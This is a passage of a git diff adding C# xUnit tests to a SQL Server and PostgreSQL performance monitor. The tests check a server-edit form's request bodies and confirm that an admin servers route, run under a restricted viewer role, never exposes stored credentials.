+    [InlineData("sql", """{"auth":"Windows"}""", "typed", """{"auth":"Windows","expected_modified_at":"TOKEN"}""")]
+    // PostgreSQL never sends auth, and a blank port is sent as 0, the default.
+    [InlineData("postgres", """{"display_name":"Payments"}""", "", """{"display_name":"Payments","expected_modified_at":"TOKEN"}""")]
+    [InlineData("postgres", """{"port":""}""", "typed", """{"port":0,"password":"typed","expected_modified_at":"TOKEN"}""")]
+    [InlineData("postgres", """{"port":"5434"}""", "typed", """{"port":5434,"password":"typed","expected_modified_at":"TOKEN"}""")]
+    [InlineData("postgres", """{"host":"pg-b"}""", "typed", """{"host":"pg-b","password":"typed","expected_modified_at":"TOKEN"}""")]
+    public void TheEditBody_CarriesOnlyChangedEditableFields_AndTheToken(string kind, string edits, string password, string expected)
+    {
+        var after = Flow(kind, edits, password).GetProperty("after");
+        var patches = Patches(after);
+
+        if (expected == "null")
+        {
+            Assert.Empty(patches);
+            Assert.Equal("No change.", Notice(after));
+            return;
+        }
+
+        var body = Assert.Single(patches).GetProperty("body");
+        Assert.Equal(Expand(expected), body.GetRawText());
+        // No PATCH body of any case has a key that is not editable (never server_id, engine, is_enabled, the secret store ...), the token is last,
+        // a SQL Server body has no port and a PostgreSQL body no auth.
+        var keys = body.EnumerateObject().Select(p => p.Name).ToArray();
+        Assert.All(keys, key => Assert.Contains(key, EditableKeys));
+        Assert.Equal("expected_modified_at", keys.Last());
+        Assert.False(kind == "postgres" && keys.Contains("auth"));
+        Assert.False(kind != "postgres" && keys.Contains("port"));
+    }
+
+    [Theory]
+    // Required and blank: no request, and the service's own sentence in the banner.
+    [InlineData("sql", """{"host":"sql-b"}""", "", true, PasswordNeeded)]
+    [InlineData("sp", """{"username":"22222222-2222-2222-2222-222222222222"}""", "", true, PasswordNeeded)]
+    [InlineData("postgres", """{"host":"pg-b"}""", "", true, PasswordNeeded)]
+    [InlineData("windows", """{"auth":"SQL","username":"sa"}""", "", true, "Switching to SQL authentication needs the password.")]
+    // Not required: name or cost only, and Windows or managed identity (a typed password is not even sent).
+    [InlineData("windows", """{"display_name":"Payments"}""", "", false, null)]
+    [InlineData("sql", """{"monthly_cost_usd":"250"}""", "", false, null)]
+    [InlineData("windows", """{"host":"sql-b"}""", "typed", false, null)]
+    [InlineData("managed", """{"host":"sql-b"}""", "typed", false, null)]
+    public void ThePassword_IsRequiredExactlyWhenTheRulesSay(string kind, string edits, string password, bool required, string? sentence)
+    {
+        var page = Flow(kind, edits, password);
+        var after = page.GetProperty("after");
+
+        Assert.EndsWith(required ? "(required for this change)" : "(leave blank to keep the stored one)", page.GetProperty("label").GetString(), StringComparison.Ordinal);
+        if (sentence is null)
+        {
+            var body = Assert.Single(Patches(after)).GetProperty("body");
+            Assert.False(body.TryGetProperty("password", out _));
+            Assert.Empty(Lines(after, "banner"));
+        }
+        else
+        {
+            Assert.Empty(Patches(after));
+            Assert.Equal(new[] { sentence }, Lines(after, "banner"));
+            Assert.Equal(1, after.GetProperty("forms").GetInt32());
+        }
+    }
+
+    [Theory]
+    // The token goes out exactly as the read gave it: microseconds, trailing zeros, a zone offset, no fraction, odd spacing.
+    [InlineData(Token)]
+    [InlineData("2026-01-02T03:04:05.1230000Z")]
+    [InlineData("2026-01-02T03:04:05.0000001+00:00")]
+    [InlineData("2026-01-02T03:04:05Z")]
+    [InlineData(" as-is ")]
+    public void TheTokenRoundTripsVerbatim_AndInterpretEditBranchesOnStatusWords(string token)
+    {
+        var body = Assert.Single(Patches(Flow("windows", """{"display_name":"Payments","monthly_cost_usd":"7"}""", "", token).GetProperty("after"))).GetProperty("body");
+
+        Assert.Equal(token, body.GetProperty("expected_modified_at").GetString());
+        Assert.Equal("expected_modified_at", body.EnumerateObject().Last().Name);
+    }
+
+    [Fact]
+    public void TheAnswerIsReadByItsStatusWord_NotByItsMessage()
+    {
+        // A collision whose sentence talks about a change is no conflict: its own sentence in the banner, no panel.
+        var collides = Run("save:collidesTalk").GetProperty("after");
+        Assert.Equal(new[] { "This server was changed since you opened it: another monitored server already uses the address." }, Lines(collides, "banner"));
+        Assert.Equal(JsonValueKind.Null, collides.GetProperty("conflict").ValueKind);
+
+        // A conflict whose sentence talks about a collision still shows the page's own sentence and the panel.
+        var conflict = Run("save:conflictTalk").GetProperty("after");
+        Assert.Equal(new[] { Stale }, Lines(conflict, "banner"));
+        Assert.Equal(new[] { "Server Name / Address: was charlie, now charlie-new (you entered alpha)" }, Strings(conflict.GetProperty("conflict").GetProperty("lines")));
+    }
+
+    // ------------------------------------------------------------------ the password-manager attributes
+
+    [Fact]
+    public void TheUsernameAndPasswordBoxes_AskPasswordManagersToLeaveThemAlone_AndSitInNoFormElement()
+    {
+        var page = Run("inputs");
+
+        foreach (var engine in new[] { "sql", "postgres" })
+        {
+            var form = page.GetProperty(engine);
+            Assert.Equal(0, form.GetProperty("formElements").GetInt32());
+            foreach (var box in new[] { "username", "password" })
+            {
+                var input = form.GetProperty(box);
+                var attrs = input.GetProperty("attrs");
+                Assert.False(input.GetProperty("inForm").GetBoolean());
+                // No name and no id: only data-field says what the box is, so a browser has no sign-in field to take it for.
+                Assert.False(attrs.TryGetProperty("name", out _), engine + " " + box + " has a name");
+                Assert.False(attrs.TryGetProperty("id", out _), engine + " " + box + " has an id");
+                Assert.Equal(box, attrs.GetProperty("data-field").GetString());
+                Assert.Equal("", attrs.GetProperty("data-1p-ignore").GetString());
+                Assert.Equal("true", attrs.GetProperty("data-lpignore").GetString());
+                Assert.Equal("", attrs.GetProperty("data-bwignore").GetString());
+                Assert.Equal("other", attrs.GetProperty("data-form-type").GetString());
+                Assert.Equal(box == "password" ? "new-password" : "off", attrs.GetProperty("autocomplete").GetString());
+            }
+
+            Assert.Equal("password", form.GetProperty("password").GetProperty("type").GetString());
+        }
+    }
+}
diff --git a/Darling/Darling.Tests/AdminServersRouteLiveTests.cs b/Darling/Darling.Tests/AdminServersRouteLiveTests.cs
new file mode 100644
index 0000000000..3e54dc96e3
--- /dev/null
+++ b/Darling/Darling.Tests/AdminServersRouteLiveTests.cs
@@ -0,0 +1,157 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Linq;
+using System.Net;
+using System.Net.Http;
+using System.Security.Cryptography;
+using System.Text.Json;
+using System.Threading.Tasks;
+using Microsoft.AspNetCore.Builder;
+using Microsoft.AspNetCore.Hosting;
+using Microsoft.AspNetCore.TestHost;
+using Microsoft.Extensions.Logging;
+using Npgsql;
+using PerformanceMonitor.Darling.Service;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+
+namespace Darling.Tests;
+
+/* #1776 own-store: this class mints its own scratch database and a role with a per-run name through
+   ScratchPostgres and touches nothing on the shared one, so it is not serialized against the live-postgres
+   collection. */
+
+/// <summary>
+/// <c>GET /api/admin/servers</c> through a real host over a scratch store, as a non-superuser holding exactly the
+/// <c>viewer</c> role's provisioned grants (#5239), replayed from the product's provisioning SQL. A statement
+/// that named <c>encrypted_password</c> or <c>remediation_encrypted_password</c> would fail here with a 42501,
+/// the way it would in a deployment, instead of passing as the owner. <c>username</c> and
+/// <c>remediation_username</c> ARE in the viewer grant, so they would not fail here: the unit pin
+/// (<c>AdminServersRouteTests</c>) is what guards them, and the body assertions below catch their emission.
+/// </summary>
+public sealed class AdminServersRouteLiveTests
+{
+    private const string SecretPassword = "SECRET-BLOB-5239";
+    private const string SecretLogin = "secret-login-5239";
+
+    private static readonly string RoleName = "adm_viewer_" + Guid.NewGuid().ToString("N")[..8];
+    private static readonly string RolePassword = Convert.ToHexString(RandomNumberGenerator.GetBytes(16));
+
+    private static async Task ExecAsync(NpgsqlDataSource source, string sql)
+    {
+        await using var command = source.CreateCommand(sql);
+        await command.ExecuteNonQueryAsync(TestContext.Current.CancellationToken);
+    }
+
+    [Fact]
+    public async Task TheRoute_AnswersEveryConfiguredServer_DisabledIncluded_InOrder_WithNoCredential_AsTheViewerRole()
+    {
+        var baseConnectionString = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrEmpty(baseConnectionString),
+            "Set DARLING_TEST_PG to a Postgres connection string to run the live admin-servers route test (it mints its own scratch database and role).");
+
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await ScratchPostgres.CreateAsync(baseConnectionString!, ct);
+        var ownerString = new NpgsqlConnectionStringBuilder(scratch.ConnectionString) { SearchPath = PgSchemaGenerator.SearchPath }.ConnectionString;
+        await using var owner = NpgsqlDataSource.Create(ownerString);
+        await using (var connection = new NpgsqlConnection(ownerString))
+        {
+            await connection.OpenAsync(ct);
+            await PgMigrations.MigrateAsync(connection, null, ct);
+        }
+
+        await ExecAsync(owner, $"CREATE ROLE {RoleName} LOGIN NOSUPERUSER PASSWORD '{RolePassword}'");
+        try
+        {
+            /* Every viewer GRANT / REVOKE the product provisions, retargeted at the scratch role, so a future
+               narrowing of the viewer's grants shows up here. */
+            var viewerStatements = ViewerGrantReplay.StatementsFor(RoleName, scratch.DatabaseName);
+            Assert.Contains(viewerStatements, x => x.StartsWith("GRANT SELECT (", StringComparison.Ordinal) && x.Contains("config_monitored_servers", StringComparison.Ordinal));
+            foreach (var statement in viewerStatements)
+            {
+                await ExecAsync(owner, statement);
+            }
+
+            /* Four configured servers. Display names are chosen so the order is neither insertion order nor id
+               order: "alpha" and "Alpha" tie ignoring case and fall to the ordinal server name. */
+            await ExecAsync(owner, $@"
+INSERT INTO config.config_monitored_servers
+    (server_id, name, host, auth, username, encrypted_password, monthly_cost_usd, is_enabled, created_at, engine)
+VALUES
+    (11, 'Zulu',  'zulu-b',  'sql',        '{SecretLogin}', '{SecretPassword}', 1234.5, TRUE,  '2026-01-02 03:04:05', 'sqlserver'),
+    (12, 'alpha', 'alpha-02', 'integrated', NULL,            NULL,               0,      FALSE, '2026-01-03 03:04:05', 'sqlserver'),
+    (13, 'Alpha', 'alpha-01', 'integrated', NULL,            NULL,               250,    TRUE,  '2026-01-04 03:04:05', 'sqlserver'),
+    (14, 'Pg',    'pg-01',    'sql',        '{SecretLogin}', '{SecretPassword}', 0,      FALSE, '2026-01-05 03:04:05', 'postgres');
+INSERT INTO collect.servers (server_id, server_name, display_name, is_enabled, sql_major_version, created_date, modified_date)
+VALUES (13, 'alpha-01', 'Alpha', TRUE, 16, now() AT TIME ZONE 'UTC', now() AT TIME ZONE 'UTC');");
+
+            var asViewer = new NpgsqlConnectionStringBuilder(ownerString) { Username = RoleName, Password = RolePassword }.ConnectionString;
+            await using var viewer = NpgsqlDataSource.Create(asViewer);
+
+            var builder = WebApplication.CreateBuilder();
+            builder.WebHost.UseTestServer();
+            builder.Logging.ClearProviders();
+            await using var app = builder.Build();
+            DarlingWebEndpoints.MapAdminServers(app, viewer);
+            await app.StartAsync(ct);
+            using var client = app.GetTestClient();
+
+            using var response = await client.GetAsync("/api/admin/servers", ct);
+            var text = await response.Content.ReadAsStringAsync(ct);
+            Assert.Equal(HttpStatusCode.OK, response.StatusCode);
+            Assert.Equal("application/json", response.Content.Headers.ContentType?.MediaType);
+
+            Assert.DoesNotContain(SecretPassword, text, StringComparison.Ordinal);
+            Assert.DoesNotContain(SecretLogin, text, StringComparison.Ordinal);
+            /* The PostgreSQL Auth label is the words "Username and password" (#5492): it names how the server logs in and carries no login or
+               secret. Take that one label out, and the route must still hold no username, password or encrypted word anywhere else, in a
+               value or in a property name. The label itself is pinned on the pg-01 row below. */
+            var withoutLabel = text.Replace("Username and password", "", StringComparison.Ordinal);
+            Assert.DoesNotContain("username", withoutLabel, StringComparison.OrdinalIgnoreCase);
+            Assert.DoesNotContain("password", withoutLabel, StringComparison.OrdinalIgnoreCase);
+            Assert.DoesNotContain("encrypted", text, StringComparison.OrdinalIgnoreCase);
+
+            using var doc = JsonDocument.Parse(text);
+            Assert.Equal(4, doc.RootElement.GetProperty("server_count").GetInt32());
+            var servers = doc.RootElement.GetProperty("servers").EnumerateArray().ToList();
+            Assert.Equal(new[] { "alpha-01", "alpha-02", "pg-01:pg", "zulu-b" },
+                servers.Select(s => s.GetProperty("server_name").GetString()!).ToArray());
+
+            var disabled = servers.Single(s => s.GetProperty("server_name").GetString() == "alpha-02");
+            Assert.Equal("Disabled", disabled.GetProperty("status").GetString());
+            Assert.Equal("Windows", disabled.GetProperty("auth").GetString());
+            Assert.Equal("$0", disabled.GetProperty("monthly_cost").GetString());
+            Assert.Equal("AwaitingFirstCollection", disabled.GetProperty("freshness").GetString());
+            Assert.Equal("2026-01-03T03:04:05.0000000", disabled.GetProperty("added").GetString());
+
+            var collected = servers.Single(s => s.GetProperty("server_name").GetString() == "alpha-01");
+            Assert.Equal("Enabled", collected.GetProperty("status").GetString());
+            Assert.Equal("$250", collected.GetProperty("monthly_cost").GetString());
+            Assert.Equal("SQL Server 2022", collected.GetProperty("version").GetString());
+
+            var zulu = servers.Single(s => s.GetProperty("server_name").GetString() == "zulu-b");
+            Assert.Equal("SQL Server", zulu.GetProperty("auth").GetString());
+            Assert.Equal("$1,235", zulu.GetProperty("monthly_cost").GetString());
+
+            var postgres = servers.Single(s => s.GetProperty("server_name").GetString() == "pg-01:pg");
+            Assert.Equal("Disabled", postgres.GetProperty("status").GetString());
+            Assert.Equal("postgres", postgres.GetProperty("engine").GetString());
+            Assert.Equal("Username and password", postgres.GetProperty("auth").GetString());
+
+            /* Only GET is mapped: a write method on the route is refused by the router. */
+            using var post = await client.PostAsync("/api/admin/servers", new StringContent("{}", System.Text.Encoding.UTF8, "application/json"), ct);
+            Assert.Equal(HttpStatusCode.MethodNotAllowed, post.StatusCode);
+        }
+        finally
+        {
+            await ExecAsync(owner, $"DROP OWNED BY {RoleName}; DROP ROLE IF EXISTS {RoleName};");
+        }
+    }
+}
diff --git a/Darling/Darling.Tests/AdminServersRouteTests.cs b/Darling/Darling.Tests/AdminServersRouteTests.cs
new file mode 100644
index 0000000000..9248b407e1
--- /dev/null
+++ b/Darling/Darling.Tests/AdminServersRouteTests.cs
@@ -0,0 +1,254 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Text.Json;
+using System.Text.RegularExpressions;
+using PerformanceMonitor.Darling.Service;
+using Xunit;
+using static Darling.Tests.RepoFile;
+
+namespace Darling.Tests;
+
+/// <summary>The web Manage Servers grid's read (#5239), without a store: the statement's shape, the credential
+/// guard, and the display-ready rows.</summary>
+public sealed class AdminServersRouteTests
+{
+    private static readonly DateTime Now = new(2026, 3, 1, 12, 0, 0, DateTimeKind.Utc);
+
+    private static DarlingAdminServersReader.Row Config(
+        int id, string name, string host, bool enabled = true, string auth = "integrated", decimal cost = 0m,
+        string? collectedName = null, string? collectedDisplay = null, DateTime? last = null, DateTime? registered = null,
+        bool readOnly = false, string engine = "sqlserver", string? engineKind = null, int? sqlMajor = null, int? pgMajor = null) =>
+        new(id, name, host, null, readOnly, engine, 0, auth, enabled, cost, new DateTime(2026, 1, 2, 3, 4, 5, DateTimeKind.Unspecified),
+            collectedName, collectedDisplay, sqlMajor, pgMajor, null, engineKind, registered, last);
+
+    /// <summary>The columns the statement reads, qualified by the config alias.</summary>
+    private static string[] ConfigColumnsRead() =>
+        Regex.Matches(DarlingAdminServersReader.AdminServersSql, @"\bc\.([a-z_]+)")
+            .Select(m => m.Groups[1].Value).Distinct().ToArray();
+
+    [Fact]
+    public void TheStatement_ReadsTheConfigTable_WithNoEnabledFilter_AndNoDollarParameters()
+    {
+        var sql = DarlingAdminServersReader.AdminServersSql;
+        Assert.Contains("FROM config.config_monitored_servers c", sql, StringComparison.Ordinal);
+        Assert.Contains("LEFT JOIN servers s ON s.server_id = c.server_id", sql, StringComparison.Ordinal);
+        Assert.DoesNotContain("WHERE", sql.Replace("WHERE cl.server_id", ""), StringComparison.Ordinal);
+        Assert.DoesNotContain("is_enabled", sql.Replace("c.is_enabled,", ""), StringComparison.Ordinal);
+        Assert.DoesNotContain("$", sql, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void TheStatement_NamesNoCredentialColumn_AndNoWildcard()
+    {
+        var sql = DarlingAdminServersReader.AdminServersSql;
+        Assert.DoesNotContain("*", sql, StringComparison.Ordinal);
+        foreach (var banned in new[] { "username", "password", "encrypted", "secret", "remediation", "token", "key" })
+        {
+            Assert.DoesNotContain(banned, sql, StringComparison.OrdinalIgnoreCase);
+        }
+    }
+
+    [Fact]
+    public void EveryConfigColumnTheStatementReads_IsOneTheViewerRoleMayRead_AndNoneIsASecretColumn()
+    {
+        var acl = DarlingManagedRoles.ViewerRestrictedConfigTables.Single(t => t.Table == "config_monitored_servers");
+        var read = ConfigColumnsRead();
+        Assert.NotEmpty(read);
+        foreach (var column in read)
+        {
+            Assert.Contains(column, acl.NonSecretColumns);
+            Assert.DoesNotContain(column, acl.SecretColumns);
+        }
+
+        /* The four facts the grid adds must be among them. */
+        foreach (var column in new[] { "auth", "is_enabled", "monthly_cost_usd", "created_at" })
+        {
+            Assert.Contains(column, read);
+        }
+    }
+
+    [Fact]
+    public void TheRoutePayload_CarriesNoCredentialKey_AndTheSecretValuesNeverAppear()
+    {
+        var json = DarlingAdminServersReader.Render(new[] { Config(1, "Alpha", "alpha-01", auth: "sql", cost: 10m) }, Now);
+        using var doc = JsonDocument.Parse(json);
+        var keys = new HashSet<string>(StringComparer.OrdinalIgnoreCase);
+        foreach (var row in doc.RootElement.GetProperty("servers").EnumerateArray())
+        {
+            foreach (var property in row.EnumerateObject())
+            {
+                keys.Add(property.Name);
+            }
+        }
+
+        Assert.DoesNotContain(keys, k => k.Contains("username", StringComparison.OrdinalIgnoreCase)
+            || k.Contains("password", StringComparison.OrdinalIgnoreCase)
+            || k.Contains("encrypted", StringComparison.OrdinalIgnoreCase)
+            || k.Contains("secret", StringComparison.OrdinalIgnoreCase));
+        /* server_id is the one key that is not a grid column (#5240): the web Edit action sends it to the by-id read and the
+           edit route. It is a plain id, not a credential, and both routes check the seat before they use it. */
+        Assert.Equal(
+            new[] { "added", "auth", "display_name", "engine", "freshness", "last_collected", "monthly_cost", "monthly_cost_usd", "read_only", "server_id", "server_name", "status", "version" },
+            keys.OrderBy(k => k, StringComparer.Ordinal).ToArray());
+    }
+
+    [Fact]
+    public void EachRow_CarriesTheServerIdOfItsOwnConfigRow_NotItsPlaceInTheSort_AndItIsAWholeNumberInTheJson()
+    {
+        /* Ids 9, 3 and 5 sort by display name to Alpha (5), Bravo (9), Charlie (3), so an id taken from the sort position
+           or an index would read 0, 1, 2 here. */
+        var rows = DarlingAdminServersReader.Build(new[]
+        {
+            Config(9, "Bravo", "beta-01"),
+            Config(3, "Charlie", "gamma-01"),
+            Config(5, "Alpha", "alpha-01"),
+        }, Now);
+        Assert.Equal(new[] { 5, 9, 3 }, rows.Select(r => r.server_id).ToArray());
+
+        using var doc = JsonDocument.Parse(DarlingAdminServersReader.Render(new[] { Config(12, "Alpha", "alpha-01") }, Now));
+        var id = doc.RootElement.GetProperty("servers")[0].GetProperty("server_id");
+        Assert.Equal(JsonValueKind.Number, id.ValueKind);
+        Assert.Equal(12, id.GetInt32());
+    }
+
+    [Theory]
+    [InlineData("sql", "SQL Server")]
+    [InlineData("SQL", "SQL Server")]
+    [InlineData("integrated", "Windows")]
+    [InlineData("entra-mfa", "entra-mfa")]
+    [InlineData("", null)]
+    [InlineData(null, null)]
+    public void TheAuthMode_IsTheDesktopsWord_OrTheStoredValue(string? stored, string? expected) =>
+        Assert.Equal(expected, DarlingAdminServersReader.AuthLabel(stored));
+
+    [Theory]
+    [InlineData("sql", "postgres", "Username and password")]
+    [InlineData("SQL", "aurora-postgres", "Username and password")]
+    [InlineData("sql", "sqlserver", "SQL Server")]
+    [InlineData("integrated", "sqlserver", "Windows")]
+    public void ThePostgresAuthMode_IsNotCalledSqlServer(string stored, string engineKind, string expected) =>
+        Assert.Equal(expected, DarlingAdminServersReader.AuthLabel(stored, engineKind));
+
+    [Theory]
+    [InlineData("0", "$0")]
+    [InlineData("0.4", "$0")]
+    [InlineData("-5", "-$5")]
+    [InlineData("0.5", "$1")]
+    [InlineData("1", "$1")]
+    [InlineData("1234.5", "$1,235")]
+    [InlineData("2.5", "$3")]
+    [InlineData("1234567", "$1,234,567")]
+    public void TheMonthlyCost_IsAlwaysFormatted_DollarsWithGroupsAndHalvesRoundedAway(string cost, string expected) =>
+        Assert.Equal(expected, DarlingAdminServersReader.CostLabel(decimal.Parse(cost, System.Globalization.CultureInfo.InvariantCulture)));
+
+    [Fact]
+    public void ADisabledServer_IsARow_AndSaysDisabled_WhileAnEnabledOneSaysEnabled()
+    {
+        var rows = DarlingAdminServersReader.Build(new[]
+        {
+            Config(1, "Alpha", "alpha-01", enabled: false),
+            Config(2, "Bravo", "bravo-a", enabled: true),
+        }, Now);
+        Assert.Equal(new[] { "Disabled", "Enabled" }, rows.Select(r => r.status).ToArray());
+    }
+
+    [Fact]
+    public void AConfiguredServerThatNeverConnected_ShowsItsConfigFields_AndNeverCollectedFreshness()
+    {
+        var row = Assert.Single(DarlingAdminServersReader.Build(
+            new[] { Config(7, "Gamma", "gamma-01", readOnly: true, engine: "postgres", cost: 99m) }, Now));
+        Assert.Equal("gamma-01:pg:RO", row.server_name);
+        Assert.Equal("Gamma", row.display_name);
+        Assert.Equal("postgres", row.engine);
+        Assert.Equal("PostgreSQL", row.version);
+        Assert.Equal("AwaitingFirstCollection", row.freshness);
+        Assert.True(row.read_only);
+        Assert.Null(row.last_collected);
+        Assert.Equal("$99", row.monthly_cost);
+        Assert.Equal("2026-01-02T03:04:05.0000000", row.added);
+    }
+
+    [Fact]
+    public void ACollectedServer_TakesItsNameVersionAndFreshnessFromTheCollectedRow_ThroughTheListServersRules()
+    {
+        var fresh = Config(1, "Alpha", "alpha-01", collectedName: "alpha-01", collectedDisplay: "Alpha",
+            last: Now.AddMinutes(-1), registered: Now.AddDays(-30), sqlMajor: 16, engineKind: "sqlserver");
+        var dark = Config(2, "Beta", "beta-01", collectedName: "beta-01", collectedDisplay: "Beta",
+            last: null, registered: Now.AddDays(-400), sqlMajor: 15, engineKind: "sqlserver");
+        var rows = DarlingAdminServersReader.Build(new[] { fresh, dark }, Now);
+        Assert.Equal("SQL Server 2022", rows[0].version);
+        Assert.Equal(DarlingMcpDataToolsFreshness(fresh.LastCollection, fresh.RegisteredAt), rows[0].freshness);
+        Assert.Equal(DarlingMcpDataToolsFreshness(null, dark.RegisteredAt), rows[1].freshness);
+        Assert.Equal("Offline", rows[1].freshness);
+        Assert.Equal(Now.AddMinutes(-1).ToString("o"), rows[0].last_collected);
+    }
+
+    private static string DarlingMcpDataToolsFreshness(DateTime? last, DateTime? registered) =>
+        PerformanceMonitor.Darling.Service.Mcp.DarlingMcpDataTools.FreshnessStatus(last, registered, Now);
+
+    [Fact]
+    public void TheRows_AreInTotalOrder_DisplayNameIgnoringCase_ThenServerNameOrdinal_ThenServerId_WhateverTheReadOrder()
+    {
+        var rows = new[]
+        {
+            Config(1, "bravo", "alpha-02"),
+            Config(2, "Bravo", "alpha-01"),
+            Config(3, "Alpha", "zulu-b"),
+            Config(4, "alpha", "zulu-a"),
+        };
+        var expected = new[] { "zulu-a", "zulu-b", "alpha-01", "alpha-02" };
+        Assert.Equal(expected, DarlingAdminServersReader.Build(rows, Now).Select(r => r.server_name).ToArray());
+        Assert.Equal(expected, DarlingAdminServersReader.Build(rows.Reverse().ToArray(), Now).Select(r => r.server_name).ToArray());
+    }
+
+    [Fact]
+    public void ARenamedConfigRow_ShowsItsNewName_BeforeTheServerReconnects()
+    {
+        var renamed = Config(1, "Renamed", "alpha-01", collectedName: "alpha-01", collectedDisplay: "OldName",
+            last: Now.AddMinutes(-1), registered: Now.AddDays(-30), sqlMajor: 16, engineKind: "sqlserver");
+        var row = Assert.Single(DarlingAdminServersReader.Build(new[] { renamed }, Now));
+        Assert.Equal("Renamed", row.display_name);
+        Assert.Equal("alpha-01", row.server_name);
+    }
+
+    [Fact]
+    public void TwoRowsTiedOnDisplayNameAndServerName_FallToServerId_WhateverTheReadOrder()
+    {
+        /* The cost carries the id so the rows can be told apart in the output. */
+        var rows = new[] { Config(9, "Same", "alpha-01", cost: 9m), Config(3, "Same", "alpha-01", cost: 3m), Config(5, "Same", "alpha-01", cost: 5m) };
+        var expected = new[] { 3m, 5m, 9m };
+        Assert.Equal(expected, DarlingAdminServersReader.Build(rows, Now).Select(r => r.monthly_cost_usd).ToArray());
+        Assert.Equal(expected, DarlingAdminServersReader.Build(rows.Reverse().ToArray(), Now).Select(r => r.monthly_cost_usd).ToArray());
+    }
+
+    [Theory]
+    [InlineData(false, "GET", "/api/admin/servers", true)]
+    [InlineData(false, "HEAD", "/api/admin/servers", true)]
+    [InlineData(false, "POST", "/api/admin/servers", false)]
+    [InlineData(false, "PUT", "/api/admin/servers", false)]
+    [InlineData(false, "PATCH", "/api/admin/servers", false)]
+    [InlineData(false, "DELETE", "/api/admin/servers", false)]
+    [InlineData(true, "GET", "/api/admin/servers", true)]
+    public void TheMethodGate_AllowsOnlyGet_OnTheAdminServersPath_ForReadOnlyAndEditingSignIns(bool canEdit, string method, string path, bool expected) =>
+        Assert.Equal(expected, PerformanceMonitor.Darling.Service.Hosting.DarlingWebSeat.IsRequestAllowed(
+            new PerformanceMonitor.Darling.Service.Hosting.DarlingWebSeat("who", canEdit), method, path));
+
+    [Fact]
+    public void TheRoute_IsMappedByMapAll_BesideTheTagRoutes_AndOnlyAsAGet()
+    {
+        var source = ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "DarlingWebEndpoints.cs").ReplaceLineEndings("\n");
+        Assert.Contains("MapServerTags(app, postgres, logger);\n        MapAdminServers(app, postgres);", source);
+        Assert.Contains("app.MapGet(DarlingAdminServersReader.Route,", source);
+        Assert.DoesNotContain("MapPost(DarlingAdminServersReader.Route", source);
+        Assert.Equal("/api/admin/servers", DarlingAdminServersReader.Route);
+    }
+}
diff --git a/Darling/Darling.Tests/AdminServersVersionLabelTests.cs b/Darling/Darling.Tests/AdminServersVersionLabelTests.cs
new file mode 100644
index 0000000000..64b17dbcab
--- /dev/null
+++ b/Darling/Darling.Tests/AdminServersVersionLabelTests.cs
@@ -0,0 +1,50 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Darling.Service;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// The behavioural pin for the web Manage Servers grid's version column (#5239), the fourth render site in
+/// <c>EngineAwareVersionLabelTests.TheVersionLabel_IsRenderedOnlyByTheKnownEngineAwareSites</c>. It lives in its
+/// own class because <c>EngineAwareVersionLabelTests</c> references the WPF Viewer assembly and cannot load on a
+/// Mac; this one drives the shipped <c>ToAdminServerRow</c> and runs everywhere.
+/// </summary>
+public sealed class AdminServersVersionLabelTests
+{
+    private static readonly DateTime Now = new(2026, 3, 1, 12, 0, 0, DateTimeKind.Utc);
+
+    private static DarlingAdminServersReader.Row Server(string engine, string? engineKind, int? sqlMajor, int? pgMajor) =>
+        new(1, "alpha-01", "alpha-01.example.test", null, false, engine, 0, "sql", true, 0m,
+            new DateTime(2026, 1, 2, 3, 4, 5, DateTimeKind.Unspecified),
+            "alpha-01", "alpha-01", sqlMajor, pgMajor, null, engineKind, null, null);
+
+    [Fact]
+    public void APostgresRow_IsLabelledByItsEngine_NotAsSqlServer()
+    {
+        var row = DarlingAdminServersReader.ToAdminServerRow(
+            Server("postgres", MonitoredEngineKind.Postgres, 0, 16), Now);
+
+        Assert.Equal("PostgreSQL 16", row.version);
+        Assert.DoesNotContain("SQL Server", row.version, StringComparison.OrdinalIgnoreCase);
+    }
+
+    [Fact]
+    public void ASqlServerRow_KeepsItsSqlServerLabel()
+    {
+        var row = DarlingAdminServersReader.ToAdminServerRow(
+            Server("sqlserver", MonitoredEngineKind.SqlServer, 15, 0), Now);
+
+        Assert.Equal(MonitoredEngineVersion.DescribeEngineVersion(MonitoredEngineKind.SqlServer, 15, 0, null), row.version);
+        Assert.StartsWith("SQL Server", row.version, StringComparison.Ordinal);
+    }
+}
diff --git a/Darling/Darling.Tests/AgEveryViewLiveTests.cs b/Darling/Darling.Tests/AgEveryViewLiveTests.cs
new file mode 100644
index 0000000000..cd72c131dc
--- /dev/null
+++ b/Darling/Darling.Tests/AgEveryViewLiveTests.cs
@@ -0,0 +1,128 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Linq;
+using System.Text;
+using System.Text.Json;
+using System.Threading.Tasks;
+using Npgsql;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Service.Mcp;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+
+namespace Darling.Tests;
+
+/* #1776 own-store: this fact mints its own scratch database through ScratchPostgres and never touches another
+   test's rows, so it is deliberately NOT [Collection("live-postgres")]. */
+
+/// <summary>
+/// #5042: two availability groups, each seen from two reporting servers (four views) with tens of databases per
+/// view, serialize well past the 32 KB MCP budget. The web read (no byte budget) must return all four views;
+/// the MCP read (the default budget) must cut, but keep at least one view of EACH group. Plus source pins that
